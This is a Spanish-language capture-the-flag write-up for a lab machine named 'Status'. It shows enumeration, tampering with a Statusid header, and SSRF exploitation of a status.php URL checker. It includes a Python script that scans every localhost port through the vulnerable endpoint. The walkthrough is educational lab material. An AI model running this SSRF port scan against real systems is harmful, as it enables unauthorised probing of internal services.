# Status

***

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FLgEDhUAR0233dwFJ1SuX%2Fimage.png?alt=media&#x26;token=d312fae2-5c15-4792-b975-6d85a9511739" alt=""><figcaption></figcaption></figure>

***

Enumeración:

```
Solo tenemos el puerto 80 abierto:
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FiehswnMgrY8FxDTma2g7%2Fimage.png?alt=media&#x26;token=07694032-00da-4dca-89a3-9ea88f016d7d" alt=""><figcaption></figcaption></figure>

Enumeramos archivos:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FV5asc88yjiCDjNrAPq2c%2Fimage.png?alt=media&#x26;token=35a571e6-374c-4da5-b6a6-c4b26a3c1b9a" alt=""><figcaption></figcaption></figure>

* Tenemos un status.php

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FqzHuRtRN7z5yFvU87cXl%2Fimage.png?alt=media&#x26;token=447d7922-b051-4c0d-a725-a9ac11b98499" alt=""><figcaption></figcaption></figure>

Interceptando con el burpsuite la petcición:

* Tenga en cuenta que hay un 0 en el encabezado de respuesta `Statusid`, intente cambiarlo a 1

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FholBJ8jTO1oRMsw9DMl3%2Fimage.png?alt=media&#x26;token=9e1c151a-34d5-4486-a8ad-334c88d9b817" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FcgjJt6y916hwlPUgWW93%2Fimage.png?alt=media&#x26;token=8069a6f9-978f-4cb2-92d9-923ef103c235" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FKmgnyiggltSpPTzzgwSg%2Fimage.png?alt=media&#x26;token=7c715a6f-2ab1-4e1b-8b40-9bfa4f7ebc28" alt=""><figcaption></figcaption></figure>

Si el archivo no se puede leer directamente, realice la detección del puerto de intranet

## <mark style="color:green;">Explotación de SSRF</mark>

> Durante la evaluación se identificó la página `status.php`, la cual expone una funcionalidad denominada **Check Status**. Esta permite enviar una URL arbitraria que el servidor procesa para devolver el estado HTTP de dicha dirección.
>
> Este tipo de funcionalidad es comúnmente susceptible a vulnerabilidades de tipo **Server-Side Request Forgery (SSRF)**, ya que permite que el servidor realice peticiones HTTP a otros recursos, tanto externos como internos.

```
import requests  
  
target = "http://172.17.0.2/status.php"  
  
for port in range(1, 65536):  
    url_to_check = f"http://127.0.0.1:{port}"  
    payload = {'url': url_to_check}  
    try:  
        response = requests.post(url=target, data=payload, headers={'Statusid': '1'})  
        if 'HTTP Status: 0' not in response.text:  
            print(f"[+] Port open: {port}")  
    except Exception:  
        continue

```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F5UVmAwBQVy515w1fyVcT%2Fimage.png?alt=media&#x26;token=8e1b0cbd-34d2-44a4-96f3-e335209855e6" alt=""><figcaption></figcaption></figure>

Accediendo a la página se obtiene una ruta

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FwvZtbzSGbKYfHlLEe3aK%2Fimage.png?alt=media&#x26;token=fa9ddb53-4271-4a18-a1d1-92acccc3f519" alt=""><figcaption></figcaption></figure>
